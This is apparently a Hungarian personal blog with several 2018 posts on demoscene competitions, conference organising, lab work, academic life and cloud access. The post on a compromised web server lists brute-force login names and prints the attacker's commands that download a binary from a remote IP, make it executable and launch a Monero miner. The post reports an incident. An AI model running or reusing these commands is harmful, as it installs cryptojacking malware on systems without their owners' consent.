2018 ide vagy oda, a karakterekkel rajzolás még nem ment ki a divatból, amit 12 induló is bizonyít. A legjobban nekem is a győztes Summit tetszett. Nem csak egy képet, de egy egész történetet mesélnek el karakterekkel rajzolva. Szinte megelevenedik a történelem.

Modern graphics

Nem lehet teljes a grafikai kompó egy sárkány nélkül. Unreal mostani képe számomra nem egyértelmű, mert a sárkány állkapcsa kicsit csálé, vagy én nem látom mi fog és mi szikla.

Természetesen robotok sem maradhatnak ki. Az Omegashrimp egész jó, de a végtagok itt sem egyértelműek nekem.

Paintover

Az előbb látott motivumok természetesen visszatérnek. Unreal sem aprózza el, egy képen már két sárkány és más furcsa lény bámul bambán. Oni Unexpected visitor képe viszont tarol. Szó szerint és átvitt értelemben egyaránt.

Oldschool graphics

Szerintem, ha az összes grafikai kompót nézzük, akkor Made Amigás képe mindegyiket lealázza. Nem csak a színek káprázatosak, a kompozíció és a téma is remek. Ráadásul megvan benne az a plussz, amitől beindul a néző agya. Igazi mestermű.

4k intró

Fizzer és Noby kettős elég sikeresen szerepelt a kategóriában. Két release-t adtak le és el is hozták az első és második helyet. Mindkét release amolyan egyszerű, de nagyszerű koncepciót képvisel, bár az Oscar's Chair a realisztikus megjelenítésre helyezte a hangsúlyt, és szerintem a kor elvárásainak maximálisan megfelel. A kategóriában egyébként meglepő mennyiségű release érkezett, ami nem tett jót az átlagos színvonalnak, de jó látni, hogy az emberek kezdenek visszatérni és alkotni ebben a méret tartományban is.

64k intró

A Conspiracy folytatta borús hangulatú intró sorozatát. A történet talán nem olyan nagy hatású, mint a két évvel ezelőtti Darkness lay your eyes upon me, de sokkal letisztultabb, könnyebben befogadható, mégis megőrzi az első rész baljós hangulatát. Összességében számomra jobban bejön. Kíváncsian várom a sorozat következő darabját! A komolyság után nézzük a compó legbohókásabb alkotását, a Farbrausch tálalásában. A Popular Demora hajazó mű idétlen, reggeli tornát megszégyenítő táncmozdulatokkal vonaglik.

Animációk

Érdekes módon az idei animációk elég gyengék voltak. A Last symphony érdekes lehetett volna, de csak elvont lett. A Byte me, Blossom pedig csak az alkalmazott effekt miatt volt érdekes.

Amiga demo

Az Alice csodaországban egy részlete volt a témája a legjobb Amigás demónak. A The Fall azt a részt vizualizálja, mikor a kislány beleesik a nyúl üregébe. Egy képet a demóból már megcsodálhattunk a grafikák között is. A Pt2 Horizons hagyományosabb szerkezetű, azok is élvezhetik, akik PC demókon szocializálódtak.

Amiga intro

Az intrók közül a Seven and Countinggal kezdeném, mert ebbe Grass rajzolta a logót. Elmondása szerint az utolsó pillanatban keresték meg, mert ő rövid határidőkkel is képes dolgozni. Az akadályt sikerrel vette. Azért a többi indulóra sem lehet panasz. A Centaur szerintem kifejezetten ötletes volt, mert nem csak a 3D erőltetett alkalmazásával akarta elkápráztatni a nézőket, mint ahogy a második helyezett Overtone tette.

Oldschool demo

A régi gépek szerelmesei sem panaszkodhattak. A Commodore és az Amstradt igazi párharca volt, amit végül előbbi nyert, de a második helyezett PHX-nek sincs oka a panaszra. Én mégis a VIC-20 demót emelném ki, mert bár nem volt olyan dinamikus, mint az első helyezett We came in peace, vagy vidám, mint a PHX, de a platformból mindent kifacsart, amit lehetett. Talán a C64-en történt szocializálódásomnak tudható be, hogy a VIC-20 demókért soha nem voltam oda, de a Gnork ezt képes volt ezt megváltoztatni.

PC demo

Bevallom, félve kapcsoltam be SlySpy legújabb Rainbow Clash alkotását. Úgy voltam vele, mint a Halálos Iramban széria legújabb részével: rosszabb lesz, mint az előző, vagy nem? A trend csökkenő, de ott motoszkál az ember fejében, hogy hátha most másképp lesz. Sajnos Vin Dieseléknél mindig bejön a papír forma, nem úgy a Rainbow Clashnél. Nekem határozottan tetszett a koncepció és örömmel látom, hogy nem én vagyok az egyetlen, aki még emlékszik az Idő Uraira.

Érdekes módon három Notch-al készült demó is volt. Ezt az eszközt Smash készítette a munkájához, de úgy látszik rácuppantak a demó készítők is. A Wander végre visszahozta azt, amit a Sokiaból hiányoltam. Mikor a táncoló figura olyan lett, mintha tejből állna, akkor mondtam magamban: Ez az! A rendezés kicsit kaotikusnak tűnik, mintha részeket csak egy hirtelen ötlettől vezérelve raktak volna bele, de ez szerintem elfogadható.

Amiről viszont beszélni kell, az az Echo Chamber. Az Űrmalacok legújabb agymenése a demók Inception-je, amibe még a kompót is bevonták. Először is betettek egy compo fillert a demók közé, ami megjelent a demóban is, mintha a demó lenne a kompó. De ettől a kompó lett a demó. Vagy valami hasonló.

Szólj hozzá!

Címkék: demoscene

Egy konferencia belülről

2018.05.08. 00:35 Travis.CG

Eddig csak résztvevőként voltam jelen konferencián, de most alkalmam nyílt rá, hogy bekukkantsak a kulisszák mögé. Már a Sangerben is beszéltem egy emberrel, aki az ottani konferencia központban dolgozott. Ő azt mondta, hogy egy konferencia előkészítése már egy évvel az esemény előtt elkezdődik. Mivel ott folyamatosan voltak rendezvények, feltételezem, jól bejáratott protokollok voltak a felmerülő problémákra.

Akár így van, akár nem, egy dologban biztos vagyok: nálunk ennek nyoma sem volt. A konferencia szervezése nyűg. Ezt tudta az a szervezet is, akikenek a nevén futott (továbbiakban a Szervezet), ezért letudták azzal, hogy adtak egy csomó pénzt a csoportvezetőnek. A csoport vezető letudta az egészet azzal, hogy kiadta a feladatot két PhD hallgatónak.

Mint minden konferenciának, ennek is volt weboldala, amit a Szervezet fejlesztett valamikor az ősidőben és utána soha nem tartott karban. A regisztráció még csak működött valahogy, a meghívott előadókat is fel lehetett vinni, de minden egyébre alkalmatlan volt. A PhD hallgatók például szerették volna, ha az előadók nevei középre lennének igazítva a fényképek alatt. Ez nem egy bonyolult feladat, egy harmad osztályú programozó két perc alatt megoldja. A Szervezet erre nem mutatott hajlandóságot, szerintük a weboldal úgy tökéletes, ahogy volt. Nosza, mit tehet ilyenkor a felhasználó? Telenyomja szóköz karakterrel az előadó nevét. Ha pedig ez sem elég, jöhet a nem törhető szóköz.

Persze egy csomó felhasználó egyszerűen nem használta a weboldalt, megelégedtek azzal, hogy e-mailen regisztrálták magukat, olyan adatokat megadva, amilyen nekik tetszik, ezért nem is volt megpelő, hogy hiányzott egy-két kötelező adat. A regisztráció megnyitásakor rögtön egy csomó török, üzbég, bolgár kutató jelezte részvételi szándékát. Mikor a csoportvezető az iránt érdeklődött, hogy "fontos" országokból regisztrált-e valaki, a válasz csak két széttárt tenyér volt.

Természetesen mindenki igénybe akarta venni az összes elérhető kedvezményt. Még nem is tudták, mennyibe kerül a részvétel, de már jelezték, hogy nekik kell a támogatás. Az ideig évben már be kellett fizetni valamit, hogy a támogatást megkapják, mert állítólag tavaly voltak olyan csóró kutatók, akik felvették az utazási támogatást és elfelejtettek eljönni a konferenciára. Nem igazán tudok haragudni rájuk.

Az e-mailek száma egyre csak növekedett. Minden apró-csepről problémával a két PhD hallgatót keresték meg. Még azokkal a problémákkal kapcsolatban is, ami a Szervezet hatáskörébe tartozott. Közben az intézet sem volt túl segítőkész, pontosabban azok, akik kezelték a pénzt. Minden szerződésbe belekötöttek. Végül a gazdasági igazgató azt kérte, hogy szerkeszthető szerződéseket csináljanak, írja alá a szálloda, majd az intézet beleírja azokat a dolgokat, amik rá tartoznak, úgy ahogy nekik tetszik.

Szerencsétlen PhD hallgató engem kérdezett meg, hallottam-e már szerkeszthető szerződésről. - Persze - válaszoltam. A Vietnámi háború idején a hadifogoly táoborokban. Ott alkalmazták őket.

Majd a regisztráció ideje lejárt. De mivel egyetlen "fejlett" országból sem akartak jönni, így a regisztráció idejét kitolták. Az ELTE-n felvehető kurzus lett, mert azt remélték a sok csillogó szemű, tudásra szomjas PhD hallgató majd megtölti a termet. A szervezők immár nem csak a taxitársasággal (akik majd furikázzák a meghívott előadókat), a szállodával, a gazdasági osztállyal és az étkeztetés lebonyolítóival vívták napi harcukat, hanem most már az ELTE tanulmányi osztályával is.

A határidők közeledtek, a munkaórák hosszabbodtak. Én közben igyekeztem egyre használhatatlanabb benyomást kelteni, nehogy valaki kitalálja, hogy jövőre az én nyakamba kellene varrni bárminek is a megszervezését. De ahogy közeledett a határidő, mindenkinek részt kellett venni a buliban valamilyen formában. Így lettem én a konferencia hivatalos fotósa. Ezt viszont nagyon jól akartam csinálni, mert akkor talán ezzel bíznak meg máskor is, nem olyasmivel, ami bármilyen formában is pénzzel (és azon keresztül a gazdasági osztállyal) van kapcsolatban.

Ezért kértem, hogy vegyenek nekem egy vakut, mert a fényképeződépem beépített vakuja nagyon közel van az optikai tengelyhez, amitől nem lesznek természetes hatásúak a képek. Mondanom sem kell, sikerült egy olyan vakut választani, ami nem volt az országban. A konferencia után két héttel közölték, hogy a beszerzés késni fog.

Végül elérkezett a konferencia napja. A PhD hallgatók sík idegek voltak. Az egyik meghívott előadó még az utolsó pillanatban sem volt képes megmondani, mikor érkezik. Akiknek nem jutott munka, azokat a csoportvezető beültette az első sorokba, hogy "érdeklődve figyeljenek és okosakat kérdezzenek". Őket sem irígyeltem. Negyven perces előadások, hármas/négyes blokkokban. A hátsó sorokban még könnyú elszundítani, na de az első sorban? Egyikük panaszkodott is, hogy alig bír ébren maradni és a nyaka is fáj, ahogy folyamatosan felfelé néz. Javasoltam neki, hogy jegyzeteljen. Akkor nem baj, ha nem felfelé néz és ha mozog, nehezebben alszik el.

Én fotókat készítettem. Mivel nem jött meg a vaku, alkamazkodnom kellett a helyzethez. Volt egy teleobjektívem optikai képstabilizátorral és elvittem egy kis 50mm-est, mert annak 1.8-as rekesze van, az talán elég lesz. Az előadókról az előadások első öt percében megcsináltam a képeket. Akkor még éber a közönség, kevésbé zavaró, ha egy teleobjektíves ember belevakuzik az arcukba. Két képet csináltam jobbról, kettőt balról, párat pedig az 50mm-essel, hogy az is látsszon, hogy embereknek beszélnek, nem az üres teremnek. Mivel nem vagyok egy profi fotós, kísérleteztem mindenféle beállítással. Elsősorban a vaku használatot akartam elkerülni. Ez még ment az elején, de aztán arról panaszkodtak az előadók, hogy túl sok a fény a teremben és 25%-al levették a fényerőt. Akkor már csak vakuval tudtam normális képet készíteni.

Azért így is akadt kihívás. Az egyik előadó például beállt a számítógép mögé és onnan olvasta fel a diákat. Nem tudtam olyan képet készíteni róla, hogy ne látszódjon a feje teteje. Úgyhogy vártam. Amikor eljött a kérdések ideje, végre felemelte a fejét. Akkor jött a memória törlés. A másik probléma a csoportképpel volt. Az előadó teremben kellett lefényképezni őket, de az 50mm-es objektív nem tudta befogni őket. Ott álltam, mindenki mosolygott, várt, nekem meg dönteni kellett. Akkor panoráma fotó lesz! Hat képet csináltam és reméltem, hogy a Hugin majd teszi a dolgát.

Közben volt alkalom, hogy a regisztrációs pultban is ültem kicsit. A legtöbbször a wifi jelszót kérték. A második legnépszerűbb kérés a konnektor helye volt, hogy feltölthessék a telefonjukat. Egy előadónak volt problémája a repülő jeggyel, mert a franciák pont akkor terveztek sztrájkot, amikor az illető utazni akart. A telefonos ügyfélszolgálatot nem tudtuk felhívni, interneten nem értük el a foglalását (mint kiderül azért, mert a weboldal a jegy számát kéri vagy az email címet és foglalási számot. De a jegy számával nem működik.) Mire végül sikerült felhívni őket, kiderült, már át is rakták a repjegyet.

Csoportvezetőnk csak egyszer akadt ki a szervezésre, mert az ebédhez sorba kellett állni. A hallgatók nagyon a szívükre vették, de megnyugtattam őket, hogy csak az alacsony vércukor szint áll a dolgok mögött.

Egy kellemetlen incidens volt csak. A résztvevők minket kértek meg, hogy hívjunk taxit nekik a reptérre. Az egyik résztvevő viszont a portán kért taxit egy olyan időpontra, amikorra már valaki másnak foglaltunk. Megjött a két taxi. Az események rekonstruálása során arra jutottunk, hogy a résztvevők a várakozás során elkezdtek beszélgetni, és beültek egy taxiba. A másik meg ott várt. Negyed óra múlva szólt, hogy hol a kuncsaft? Kerestük az illetőt égen-földön, de nem találtuk. A taxi óra meg csak ketyegett. Végül jobb híján összedobtuk a pénzt neki. Állítólag tavaly is volt egy hasonló malőr, de akkor nem fizették ki a taxist, és a társaság tiltó listára tette az egész intézetet.

Miután befejeződtek az előadások, a konferencián résztvevő PhD hallgatóknak vizsgát kellett tenniük. A kérdések viszonylag nehezek voltak, de semmilyen szankció nem volt a mobiltelefon használatra, beszélgetésre, sőt ha megkérdezték a választ, és tudtuk, megmondtuk nekik. Ennek ellenére az összesítésnél kiderült, hogy csak a jelentkezők fele vizsgázott.

Az elkészített képeket kicsit fel kellett javítani. A becsillanó részeket levágtam, piros szemeket kiretusáltam. A csoportkép először nem sikerült jól, mert a Hugin a különböző képeken, ugyan attól a személytől való apró fejmozgásokat összemosta egyetlen szellemképes fotóvá. Végül felfedeztem, hogy ki tudom maszkolni az egyes képek részleteit, amit aztán nem vesz figyelembe a program. Ezzel sikerült elérni, hogy mindenki szem nyitva legyen, mindenki a kamerába nézzen. Mivel a webre készültek a fotók, ami kicsit életlen lett, azt átméreteztem. Nekem ilyen szempontból jó gyakorló terep volt ez a konferencia.

A vicces az, hogy a konferenciával való munka nem fejeződött be annak végeztével. Utána kellett kifizetni mindent. Ekkor jött rá a gazdasági hivatal, hogy az a szerződés, ami átment öt emberen, nem felel meg. Átutalások akadtak el a bürökrácia bugyraiban. A PhD hallgatók rohangáltak a különböző rangú emberek között, mert egyesek nem voltak hajlandóak beszélni a másikkal, valaki féltette a hátsóját és olyan is akadt, aki totál sületlenségeket hordott össze. Mint egy ostoba szappanopera. Nem akarom teljesen kiteregetni a szennyest, de nemrég a szervezők egyike, mikor belépett az irodába, csak ennyit mondott: Nem akarok börtönbe kerülni!

Szólj hozzá!

Címkék: életmód

Züzemeltetés

2018.05.06. 22:15 Travis.CG

A régi mondás, miszerint többet ésszel, mint erővel, általában igaz. De egyes helyzetekben nincs másra szükség, mint egy tenyérbe köpős, tesztoszterontól fűtött, gyors és hatékony munkavégzésre. A gondolkodás csak akadály. Meg kell ragadni, odacsapni és már jöhet is a macsós hátba veregetés: ott voltunk, megcsináltuk. Kiszakadt a vezeték? Összetört a kristály csillár? Csak járulékos veszteségek. A munka kész, jöhet a következő kihívás.

Valami ilyesmi történt a steril fülke összerakásánál is.

Az egész azzal kezdődött, hogy az egyik labort ellepte a gomba. Kiírthatatlan, mindenütt jelen lévő. Mint Dustin Hoffman a Vírus című filmben, a dolgozók is hamar rájöttek, hogy levegőben terjed, a szellőzőt használva. Napalm nem volt kéznél, enyhébb vegyszereket meg könnyedén abszolvált. Mivel a gombát nem tudták távozásra bírni, de a labor eszközöket igen, a cuccokat nekiláttak költöztetni.

Így került a szétszedett steril fülke a velem szomszédos laborba. A szétszedettet úgy kell érteni, hogy nem állt a lábazaton. Egy raklapon pihent. Az egyik PhD hallgató kapta a feladatot, hogy a két darabot eggyé varázsolja. Ő először telefonált az üzemeltetésnek, akik nem voltak a helyükön. Aztán írt egy emailt az üzemeltetés vezetőjének, hogy válaszoljon, mikor tudják a cuccot összerakni. Azok természetesen nem válaszoltak. Közben beszélt a gép szervizelésével megbízott céggel, akik bekötik a csöveket. Ők elször megígérték, hogy a lábazatra is rárakják, de később viszakoztak, hogy mégsem. Ekkor újra kezdődött a kommunikáció az üzemeltetéssel. De akkor csonka hét következett, szabadságon voltak, nem értek rá, stb.

Két hét után, már kezdett idegesíteni, hogy minden nap azt kell hallgatnom, hogy szervezés címén mit töketlenkednek. Átmentem velük a másik laborba, megnézni a szörnyeteget. Állítólag 300 kg volt, de miután az egyik sarkán alányúltam és megbillentettem, a súlyát 170 kg-ra saccoltam. Akkor azt gondoltam, három ember elég a megemeléséhez. Közben a többiek elkezdtem tervezni:
- Kell az üzemeltetés, mert nekik biztos van darujuk.
- Emeljük meg mindig egy kicsit és tegyünk alá raklapokat, hogy egyre magasabb legyen.
- Emeljük gurtnival, kézzel lehetetlen.

Azt mondtam nekik, nem kell semmi, szóljon még két embernek és megemelik kézzel. De persze csak a meeting volt meg, aktuális munka nem történt. Eltelt még egy hét. Egyik nap, korábban kellett elmennem, de akkor is a steril box volt a téma. Ismét mondtam, szerezzen két embert. Nem szerzett. Másnap bementem és csak egy dolgot kérdeztem: Sterilbox megoldva? Nem volt a válasz. Megettem a reggelimet és átmentem a szomszéd laborba. Ott volt egy fiatalabb fickó, a nevét sem tudtam. Elhívtam. Szóltam még egy embernek.

Visszamentem a PhD hallgatóhoz és csak annyit mondtam:
- Felrakjuk a steril fülkét! - Szerencsétlen azt sem tudta, mihez kapjon.

Megemeltük, de nem bírtuk el stabilan. Lehet, hogy több, mint 170 kg? Ismét jöttek a jobbnál-jobb tippek, de akkor már megvolt a kritikus izom tömeg, amit eredményesen lehurrogta a baromságokat. Szereztünk még egy embert, fogást kerestünk és felraktuk. Kicsit kellett igazgatni, mert a furatok helye nem passzolt, de összességében fél óra alatt elkészültünk. Nem kellett daru, gurtni, Jedi-trükk. Nem volt szükség ferde rámpára, mint a piramosok építésénél. Az üzemeltetés meg...

Szólj hozzá!

Címkék: életmód

Bányászok nyomában

2018.04.29. 22:32 Travis.CG

Mostani munkám során ismét egy webszolgáltatást kell felépítenem. Kineveztünk egy dedikált gépet, ahol a PHP/MySQL/Apache hármas teljesíteni fogja a feladatát. A rendszergazdai feladatokkal nem engem bíztak meg, aminek örültem. Semmi kedvem nem volt egy szutyok PC-t szerverré varázsolni és olyan kérdésekre keresni a választ, mint: "miért nem megy?"

A rendszergazda természetesen mindjárt virtuális gépet rakott fel és abban futott a szerver, aminek annyira nem örültem, de ha úgysem én csinálom, akkor végül is mindegy. De mint kiderült, nem tudtam magam teljesen kivonni a munkából. A rendszergazda megkérdezte, milyen programokat telepítsen rá, én megadtam a listát, úgyhogy csak a fele hiányzott annak, amit kértem. Mivel felvettek a sudo csoportba, nem akadékoskodtam, csak elkezdtem felrakni, ami kellett.

Természetesen a telepítés sem ment zökkenő mentesen. A gép random időközönként újra indult. Az elején azt hittem, ez annak a hozadéka, hogy egyszerre dolgozunk a szerveren és a konfigurálás után újra indítják a gépet, de miután én voltam az egyedüli bejelentkezett felhasználó, kezdtem gyanakodni, hogy más állhat a háttérben.

Miután a negyedik adatbázis import sem sikerült, egyre erősödött bennem a gyanú, hogy az I/O terheléssel függ össze a dolog, de nem fértem hozzá a gazda géphez, ezért gondoltam, lepasszolom a feladatot, de előtte megnéztem a logokat. Percenként átlagosan 10-15 sikertelen belépési kísérlet volt. Összeszedtem a legnépszerűbb felhasználói neveket az auth.log-ból (a szám, hogy hányszor próbáltak az adott felhasználóval belépni):

170 admin
39 user
32 test
23 ubnt
21 support
21 ftpuser
18 pi
18 from
14 guest
13 postgres
13 oracle
13 adm
12 operator
11 super
10 default
10 1234
8 ubuntu
8 manager
6 testuser
6 jboss

Aztán megnéztem az auth.log.1-t is, mert az mégis csak nagyobb időt ölel fel:

491 admin
162 user
86 test
64 ftpuser
57 support
56 guest
55 ubnt
54 laszlo
54 jozsef
54 janos
54 istvan
54 csaba
46 andor
44 pi
43 alex
38 soma
38 matyas
38 imre
38 andras
37 zsigmond

Ez igen! Ezek elvégezték a házi feladatot. Magyar szervert magyar nevekkel törünk. Egyebkent Ukrán IP-ről jöttek a kérések. Megnéztem, milyen keresztnevekkel próbálkoztak, de érdekes módon nem az összeset használták. A lányom neve például nem szerepelt, de a "brajen" vagy "duci" igen. A férfi keresztnevek csúnyán felül reprezentáltak voltak. Nem elég, hogy fel akarják törni a gépet, még szexisták is.

Aztán egy ideig nem foglalkoztam a dologgal, a rendszergazda is elvolt azzal, hogy kitalálja, miért indul újra a szerver. Végül megoldotta azzal, hogy lekorlátozta a memória használatot 4GB-ra. Én közben befejeztem az adatbázis importálást és kellett némi tuningolást eszközölnöm a szerver oldali modulon, mert a felettesem kifogásolta, hogy nem fut le 5 másodperc alatt (differenciál expressziót számol 1098 mintára, esély sincs rá, hogy lefusson ennyi idő alatt, de ez az én bajom).

Végül mégis utolért a rettegett kérdés: Miért ilyen lassú? Tizenöt perce fut egy kérés. Hmm, ez azért tényleg furcsa. A rendszergazda külföldön volt, így engem ért a megtiszteltetés, hogy ezzel foglalkozzam. A gépen 5-ös load volt és három szálat az nttprd foglalt le. Miután megnéztem a futó folyamat részleteit, rájöttem, hogy mindenem megvan! Ugyanis egészen eddig csak a bitcoin bányászok hiányoztak az életemből.

Egy ilyen kis szeretet csomag futott a webszerver jogosultságával:

mkdir /tmp/.x11_kenp0le/
curl http://185.165.169.146/sen -o /tmp/.x11_kenp0le/nttprd
chmod +x /tmp/.x11_kenp0le/nttprd
/tmp/.x11_kenp0le/nttprd -B -a cryptonight -o stratum+tcp://pool.minexmr.com:80 -u 49CSBHFhjm5RVGiJuVh7ANEsdozsXMfkCE2rCEHXjTgoJNVdSzyvg8tM1xLpQH8R7mfcEf5jtArJf5S9XBrgfmNz5yTRMiM -p x &>>/dev/null

Egy Seychelle-szigeteken bejegyzett szerverről töltötték le a kódot, a bitcoin felhasználó számomra lenyomozhatatlan. Mire összeszedtem mindent, ismét történt egy újraindulás. A /tmp kiürült és semmi nyoma nem maradt az egésznek.

Szólj hozzá!

Címkék: biztonság rendszergazda

Tanulj tinó

2018.04.20. 12:57 Travis.CG

Azt hittem matematikából már mindent tudok, amit egy biológusból képzett bioinformatikusnak tudnia kell. Tudom, hogy az eredmények statisztika nélkül is látszanak, miként szabaduljak meg attól a csúnya log-nak rövidített izétől. Ezeket az ismereteket nem lehet az iskolapadban elsajátítani, ahogy mondani szokás, "erre az élet nevel".

De ezen a héten bebizonyosodott, hogy igenis van még mit tanulnom. Ráadásul ez a tudás igen alapvető, mert a lebegőpontos számábrázolással van kapcsolatban.

Egy projekthez kellett kb. 27 táblázatot generálnom. Mikor mindennel kész voltam és elküldtem őket, azt a feladatot kaptam, hogy az összes táblázatot készítsem el újra, hogy csak két tizedes jegyet tartalmazzanak! Az indoklás az volt, hogy "a második tizedes jegy után csak zaj van".

Mit lehet tenni? Senki nem akarja zajjal feltölteni a táblázatát, nem igaz?

Mikor végeztem és a szignifikáns sorokban a p érték mind 0 lett, akkor teljesen biztos voltam benne, hogy jól dolgoztam és semmi zaj nem maradt.

 

2 komment

Címkék: életmód

Alázat

2018.04.09. 00:46 Travis.CG

Sokan bírálják a tudományos életet, hogy mennyire hatalmi elvű, mert minden a csoport vezetőknek van alárendelve. (A csoport vezetők meg a különböző bizottságoknak, akik a pénzt osztják a kutatásra.) De ennek van egy kevésbé értékelt pozitív hozadéka is, az alázat.

Alázat alatt nem a minden ok nélküli behódolást értem, hanem annak a megértését, hogy mi az, amit nem tudunk. Elfogadni, hogy nem tudunk mindent és vannak hiányosságaink, hiába van PhD-nk, Science cikkünk, továbbra is rá vagyunk utalva, hogy mások munkáit elolvassuk, elsajátítsuk az ő felfedezéseiket is.

Erről az apró tényről még a legnagyobb kutatók is hajlamosak megfeledkezni és a TV-ben olyan témákról is vígan nyilatkoznak, ami kívül esik a kutatási területükön, ergo könnyen lehet, hogy annyit sem tudnak róla, mint egy járókelő.

Mostani történetünk hősei is ilyenek. Ez nem velem esett meg, de akár velem is előfordulhatott volna, és ahogy a nagy bölcsek mondják: az okos mások hibáiból tanul.

A történet a következő: X szeretett volna egy jó zsíros cikket írni, amit mindenki idéz. Labormunkát viszont nem nagyon akart végezni. Rövid töprengés után arra jutott, hogy áttekintő cikket kellene írni, hiszen azt mindenki idézi és milyen magas impakt faktorú lapokban jelennek meg! Kiválasztott egy témát és kiadta a feladatot Y-nak. X-nek már csak annyi dolga volt, hogy hetente rákérdezzen: Készen van?

Így teltek a hónapok, míg el nem készült a nagy mű. Rögtön be is adták egy patinás lapba. A főszerkesztő nagyjából két óra múlva dobta vissza. Indoklás: Maguk az adott témából eddig 0 cikket publikáltak. Más szavakkal: honnan veszitek, hogy ehhez ti értetek?

Ez az az alázat, amire gondolok. Már az egyetemi disszertáció készítésénél is elvárjuk, hogy a hallgatók az irodalmi összeollózáson kívül mást is csináljanak. De hőseink még ebből sem tanultak. Nem értették, hogy miként lehetséges az, hogy ezt a komoly cikket visszadobták. Dühösen mesélték mindenkinek, hogy velük hogy elbánt ez a cudar főszerkesztő, pedig a Google Scholar oldalán olyan publikációk vannak, amelyeket nem is ő írt. Biztos rejteget valamit!

Azt már csak én gondolom tovább, hogy ha egy ilyen konspiráló alak dobja vissza a cikket, akkor az érvei nem is jelentenek semmit, hiszen csak egy áskálódó alak. Nyilván ezzel a viselkedéssel harcolta ki, hogy annak a híres lapnak a főszerkesztője legyen és vakond hajlamait ott éli ki igazán. Hányattatott sorsú, meg nem értett zsenik korszakalkotó munkáit dobja vissza nevetséges indokokkal, és ezzel az egész civilizáció fejlődésének a gátja.

Szerencsére a hungariensis végzősdésű lapok mentesek ezektől a kis stílű, Napóleon-szindrómás alakoktól.

Szólj hozzá!

Címkék: publikáció

Cseppet sem objektíven: Demobit 2018

2018.03.27. 14:46 Travis.CG

A Demobit egy csendes kelet Európai party, de közelsége Magyarországhoz ideális scene turizmushoz. Ez meg is látszik, ahogy évről évre egyre több magyar induló van, ezért most erről fogok írni.

Zene

A zenék nem is voltak olyan rosszak, mint amire számítottam. A compót nagz nyerte, mégpedig egy nem is akármilyen zenével:

Grafika/Fotó

A szerény évkezdésnek megfelelően szerény felhozatal, ami nem az indulók mennyiségét, inkább a minőségét jellemzi. Még Dorcyy képéből is hiányzott az élet. A fotók egy cseppet jobbak voltak, itt-ott akadt egy hivatásos induló, de így is akadt elég jellegtelen kép.

Wild/animáció

Őszintén szólva nem tudom, mi indokolta ezt a két kategóriát, mert akadtak átfedő alkotások, például a tortás videó, de a Gabber for horses is belefért volna a demó kategóriába. Az animációk viszont jók voltak. Még a bújtatott reklám drón videó is kreatív volt. De a legjobb szerintem a Je suis toi volt. Nem volt túl elvont, mégis elég érzelem volt benne.

Intrók

Az oldschool intrók kimerültek a scrollerek variálásában. Azt hiszem ennyi elég is róluk. A PC intrók sem vitték túlzásba, a Nitro Intra kellemes, egyszerű intró volt, korrekt zenével, de egy komolyabb partin valószínűleg észre sem vennénk.

A 256 byte intrók összességében jobbak voltak. Kiemelném a Storming over the Tatras-t. Nem azért, mert technikailag olyan kiemelkedő, hanem azért, hogy megmutassam, egy jó címmel még a zajt is el lehet adni. Nem tudok szabadulni a gondolattól, hogy egy bugot "javítottak" a név választással. Hasonló érzésem van a Minsky objektum orientált technológiai bemutatóval kapcsolatban is.

Demók

Az Alföld és a Hortobágy gyanús hasonlósága valami olyan poént sejtet, amit a kívülállók nem érthetnek. Megkaptuk végre a QBParty invitációját is Feryxtől. Ott volt az ASD is, de csak Kinecttel felvettek egy csomó modellt és vertex shaderben raktak rá egy kis Perlin-noise-t :-) A zene viszont nagyon jó volt hozzá. A Fresh!Mindworkz két demóval is jelentkezett. Az egyik végre szakított a részecske rendszerek egyeduralmának, ami üdítő változás (érdekes módon ezt adták ki álnév alatt), és volt egy koprodukció Gargajjal, ami nekem nagyon bejött. Az a tipikus egyszerű, de nagyszerű demó, ami nem rázza meg a kontinenseket, de kellemes nézni.

Végül ott volt a Monoamine, ami szerintem megérdemelten nyert.

Akit érdekel egy kis háttér a partyról, az mindenképp olvassa el a Scene.hu cikket is. A komment szekció is igen tanúságos.

Szólj hozzá!

Címkék: demoscene

MTA gőzpamacs

2018.03.18. 00:14 Travis.CG

Azt hiszitek, hogy a magyar szuperszámítógépek helyzeténél nincs rosszabb? Akkor még semmit nem tudtok az MTA Cloud gőzpamacs helyzetéről.

Miközben a NIIF-el hadakoztam, hogy hozzáférést szerezzek, vészmegoldásként regisztráltam az MTA párafelhőjébe. Már a kiírásból láttam, hogy ez édes kevés lesz, de még mindig jobb alternatívának tűnt, mint az asztalomon álló gép. Illetve még ez sem teljesen igaz, mert a munkahelyi gépemben 32GB memória van, amit az MTA felajánl, abban legfeljebb 16.

Ha viszont több ilyen gépet használhatok egyszerre, az kárpótolhatja ezeket a hiányosságokat. Regisztráció előtt át is néztem az elfogadott pályázatokat, és találtam pár embert az intézet más csoportjai között, akik aktívan használják az MTA ködöt. Felkerestem egyiküket, aki elég lesúlytó véleménnyel volt a kezdeményezésről, mert ő arra számított, hogy csak belép és minden bioinformatikai program feltelepítve ott várja, klikkel egyet és PDF-ben kijön a cikk.

Mint azt az ismertető is tanúsítja, ők nem adnak szolgáltatást, hanem infrastruktúrát. Szegény bioinformatikusunk csupán egyetlen távoli gépet használt, ami teljesítményben nem volt jobb annál, amiről használta azt. El is hiszem, hogy csalódott volt.

Engem viszont lelkesített a dolog, ezért el is küldtem a projekt igénylést. Bár az ismertető szerint egy héten belül válaszolnak, ez az én esetemben két hét lett. Közölték, hogy a gőzfürdő betelt. Igen kérem, nincs szabad kapacitásuk.

Ajánlom mindenki figyelmébe a demagóg prezentációkat. Itt például a 8. dián a erőforrás lefoglalása 10-20 perc. Hát persze, akkor nekem mi tart fél évig? De a főoldalon is olyan hülyeségek olvashatóak, hogy a desktop géptől a szuperszámítógép fürtökig bármit létrehozhatunk. Én csak 5 nyavajás gépet igényeltem, mert sejtettem, hogy ez nem az Amazon. Hol van ez egy szuperszámítógép fürttől? De a másik mondatuknak sincs semmi értelme: "Az adatok biztonságos tárolását a legkorszerűbb OpenStack felhő alkalmazása biztosítja". Aki ezt írta, az nincs tisztába azzal, mi is az OpenStack. A pályaudvarokon sem a konténer emelő daru biztosítja a rakomány tárolását.

Azt írták, januárban gépbővítés lesz és akkor kapok hozzáférést. Márciusban azért megjegyeztem nekik, hogy nem lehetett túl sikeres a bővítés, mert még mindig nem kaptam semmit. Ismét egy hetet kellett várni, hogy válaszoljanak. A bővítés sikeres volt, délután megkapom az instrukciókat, hogyan léphetek be. Sajnos a levél azt nem mondta, melyik délután.

Ezek a levélváltások egy Jane Austen regényben még elmennek, de informatikával foglalkozó emberektől nem elfogadható.

Szólj hozzá!

Címkék: cloud computing

Majdnem mindent az RNA-seq-ről (9. rész)

2018.03.11. 00:28 Travis.CG

